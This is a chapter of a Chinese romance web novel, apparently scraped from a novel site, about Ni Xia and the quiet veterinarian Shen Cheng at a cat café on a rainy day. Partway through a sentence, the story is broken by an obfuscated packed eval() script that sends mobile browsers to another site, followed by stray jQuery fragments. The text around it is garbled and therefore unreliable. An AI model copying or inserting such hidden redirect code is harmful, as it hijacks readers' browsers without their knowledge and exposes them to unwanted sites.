4. 第 4 章
作品:《听风吟夏》 沈桯握着伞柄不语,被她牵过的手似乎余温未消,灼热感从皮肤表面延绵至深层肌理,那种隔靴搔弄的微末痒意又来了。
他低垂眼睫,始作俑者一脸清白地看他,催他快回去换衣裳,“怎么不带伞,南深市的天气待一段时间是个人都知道它的特性。”
“临时出来买点东西。”
沈桯和她并排走着,雨伞不大,良好的教养与礼貌叫他伞面倾斜向她多一些,说话的语调依然是温和的、清淡的,不为世事扰动的自若。
倪夏乜了眼他手里的马夹袋,里面装的一些生理盐水和药膏以及一些眼药水,“给猫用的?”
他不回话,仅点头默认,显得不是很想理她,倪夏也不在意。
两人就这般默默无言行走在路上,雨水打湿他左边的肩背,靠右的倪夏整个被圈在伞下,滴落在伞布的雨珠淅淅沥沥往下滑,裹挟着地面溅起的水花叫她的裤腿渐湿。
到一楼门口时,倪夏快速收起雨伞,牵起湿漉漉的他往大厅服务台走去。
她的手很小,手臂更是细得像一折就断,沈桯很轻易就挣脱,显得她牵住他手的力量可有可无。
倪夏恍若未觉,白皙手臂自然而然垂在身侧,人依然快步往前。
沈桯慢条斯理走在她后面,漆黑清明的眼直直地看向她饱满圆润的后脑勺,长发随着走动有几缕拂过身前,像飞舞的羽翼,掀起似有若无的清香。
一楼白天是咖啡饮用区,来撸猫的人基本都是点餐后等侍应生送上七楼去,鲜少有人会在楼下待着,整个大厅里几乎只有吧台的工作人员。
在两人走进来的那一刻,在柜台的男男女女跟自动装了雷达似的,视线八卦地看过来,眸色震动。
长期在猫咖工作的人都知道倪夏这号人,虽然不熟,但和老板娘的关系亲密,想来大有来头。目光在两人之间逡巡三三两两个回合后识趣地收起打量,在倪夏抵达柜台前,从底部抽屉里摸出更衣室钥匙,告知其中备用衣物。
倪夏食指勾过钥匙,旋即在空中抛出一条弧线,那钥匙像个小炮仗划破阒静空气,又在没入他掌心时失了声。
她说:“去冲个热水澡,把旧衣换掉。”
那阵雨来得急,下得大,裹挟着斜风,一路走来她的裤子膝盖以下全湿了。
倪夏弯腰曲背欲挽起来时,手腕上多出一股不属于自己体温的热度,密不透风地往毛孔里钻。
沈桯抓起她的腕子,不由分说带着她一起去往更衣室。
沿路无言,四下寂静得呼吸可闻,玻璃窗上的雨线汇聚成涓涓小流。
倪夏任由他握着,唇边有微微往上的弧度,杏眼一眨不眨凝望他挺拓的背脊,细细描绘他不过分喷张的肌肉,宛如在欣赏一件天然去雕饰的艺术品。
凝望得久了,那视线如有实质,一笔一划描绘摩挲,擦起一路火花,烫得沈桯目光略略晃动,身形顿住,很快又恢复如初。
随着门锁拧动的声响,更衣室的门打开,沈桯按照钥匙扣上对应的序列号找到柜子,从里面掏出一套完整的工作服。上衣花灰色polo衫,配套的下衣是条五分裤。
他二话不说扔给她裤子,指着衣柜对面右前方的盥洗室:“换了。”
倪夏好整以暇地抱住,一动未动立于门边,目光坦荡地往下瞟了眼。
他没什么太大反应,不在意她昭彰地打量,见她并无动作,抄起衣服扭身去了盥洗室。磨砂玻璃门被拉开又合上,水声窸窸窣窣,过会儿停了;吹风筒开始呼呼嗡嗡,成为更衣室里唯一的声音,反倒显得房间更加安静。
良久,沈桯换好衣服走出来,浴巾搭在脖颈,水汽氤氲过后的脸泛着水润光泽,将他过分立体的轮廓拢上柔和,整个人显得亲近温和不少。
倚在门边的倪夏视线从手机转移到他时,没什么感情的眼底顿时染上几分笑意,那张脸上立刻耀眼生花,平添一缕丝丝入扣的惑意。她亦换好了衣服,但裤子尺寸是男码,穿在他身上刚刚好的五分换到她这里就成了七分,裤腰异常宽大,手不掐着的话立马从腰垮到脚底板,一览无余。以至于她看似懒懒散散地靠着门,实则借力压着裤腰,另一手揪紧提住。
沈桯注意她裸露在的小腿肌肤有两三处红色结痂,面积不大,但她的皮肤过于白皙剔透,衬得伤痕尤为刺目。
昨晚情急的冲撞悉数涌进脑海,沈桯暗下眸,脖颈上的毛巾被扔到沙发,从马夹袋里翻找出棉签和碘伏,眼神向沙发示意:“过来坐下。”
倪夏跟着他的视线游走,低头去看腿上的擦伤,浸过水后痂和正常肌肤的连接处自边缘泛白浮肿,像是水里的豆子泡发了一般。
她没觉得不适,沈桯已经走过来将人带到沙发,略带强硬地按住她坐下,他随之半蹲于她跟前,满是耐心地清理伤口。
倪夏有点想笑:“这算职业病发作?还是说沈医生还在为昨晚的事过意不去?”
沈桯说:“你想哪个理由,都行。”
他握住她的脚踝,用一个恰到好处的力道抬起,就着沙发上的浴巾擦拭干净残留水渍,又用沾了碘伏的棉签细致地涂抹伤口。
他的眸光很专注,眼里除开这细微的伤口外再容纳不下其它;他的动作很温柔,与其说是擦倒更像是轻不着地地抚过,如鸟掠水面的转瞬即逝,带起一小片涟漪。
倪夏鬼迷心窍地发了怔,如此场景今让她产生一种被珍视的错觉。
那是过往她不曾拥有的,也不被允许的。
头顶沈桯说好了的温冷声线响起,她从走神中醒来,扯了扯唇角:“我想你更倾向和喜欢的。”
沈桯仰面睨她一眼,手里收拾的动作没停,将所有医用物品分门别类打包好,“可以告诉你,晚点。”
“晚点是什么时候?”她兴味十足地问。
沈桯说:“等我想到哪个时间点再通知你。”
倪夏手肘撑在膝盖上,双手托起下巴看他,被他的回复打得有些措手不及。她也不恼,噙着笑答应。
下午的直播沈桯来得迟,因临时出门采购耽误了些时间,人出现在七楼门口时很快被同事领到小房间,里面设备、灯光、口罩一应具备,早已准备妥当就等他直接上播。
小房间是透明玻璃房,其中有一面设置成磨砂,用来放置样品和杂物。倪夏在猫咖里找了个视野宽阔的窗边角落猫着,目之所及第一眼纳入就是他的身影,黑色口罩跟嵌在脸上似的,罩住大半张脸,唯独露出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437618|184966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那双水洗般清澈的琥珀眼。
她总想将这双眼染上些什么。
玻璃房隔音效果极好,无分毫声音从里泄出,倪夏登录抖音时,几十条消息瞬间蹦出来,挤得她的主页满满当当。她点进去看,才发现是几年前无意中记录下来熏鱼收养流浪猫视频火了,时至今日还有网友在点赞留评,不乏有一些网友发来私信求更新后续。
她没回,点击视频推荐那一栏,大数据算法很精准地给她推送到“catlive庄园”,也就是庄敏的猫咖。温淡男声有条不紊地解说,腔调快慢有致,听得甚是悦耳,评论区也是一水儿好评,网友们刷屏[这低音炮我好爱啊,跪求主播露脸]。
其中有条评论显得格格不入,虽然很快被顶上去,但鉴于倪夏过目不忘的本领,她避无可避地看见也记得,网友宁宁说的是“沈桯你出来,我在猫咖门口等你。”
倪夏嗅出一丝不同寻常的味道,瞥了眼正门前的接待处,一个穿着黑金连衣裙,长发齐肩的空气刘海女孩儿手捧咖啡,另一手噼里啪啦打字,满是胶原蛋的脸又愤又不甘。
秉着看热闹不嫌事儿大,她朝沈桯投向一个似笑非笑的眼神。
正在直播中的沈桯像觉察到什么,不经意昂首便撞进她眼里,又不着痕迹移开。
等沈桯下播已是晚上七点,天色将暗未暗,钴蓝色打底的天边儿几朵乌色云幽幽飘荡着,像是在流浪。
他刚从玻璃房略带疲意地走出,等待几近一天的周以宁倏地从门外冲进来,来得猝不及防又脚下生风,吓得小猫们神情慌乱地东奔西逃,场面顿时乱成一锅粥。
她揪住他半袖的下摆,自顾自地说:“你听我解释。”
“我们不是需要互相解释的关系。你出去,吓到猫了。”
沈桯不客气地抽出下摆,看着满屋乱窜又紧张兮兮的猫,面上罩起一层阴郁的暗光,视线在她脸上扫视一圈。那目光薄凉得很,如一把刺向她的冰刀,叫她遍体生凉。
周以宁:“我买票,可以进来吧。”
沈桯不回话,周身萦绕泛着的冷意昭示着他的答案,周以宁心知继续讨价还价只会闹得更僵,识趣地离开猫咖。
她和沈桯算得上青梅竹马,但举家搬迁至国外后两人断了联系,这次回国就是奔着他来的,她试过很多次方法,包括但不限于死缠烂打,甚至那天晚上故意找人去抓猫,想着既然那是他在意的,在她手里的话无异于多一个把握,谁知道那晚他极为光火,对她更为冷淡。
又或者说,一直以来都是她的一厢情愿。
可心里放不下他,想试试追到手的那股劲儿跟韭菜似的,一茬一茬往外冒。碰壁一次更比一次强,她只能退而求其次。
把周以宁送走后,沈桯端起服务台刚调做好的两杯特调冰咖,坐到倪夏对面。
“手机给我。”
倪夏闲来无事,整个下午把自己在招聘软件上的简历优化更新了一番,之后又翻出过往手机记录但并未发布的小猫视频,挑选出部分有意思的剪辑上传,也算是更新熏鱼记后续。
听到沈桯的话,似乎意识到他要干什么,她亮起手机屏幕给他看:“电量不足1%。”
“加微信,够用。”

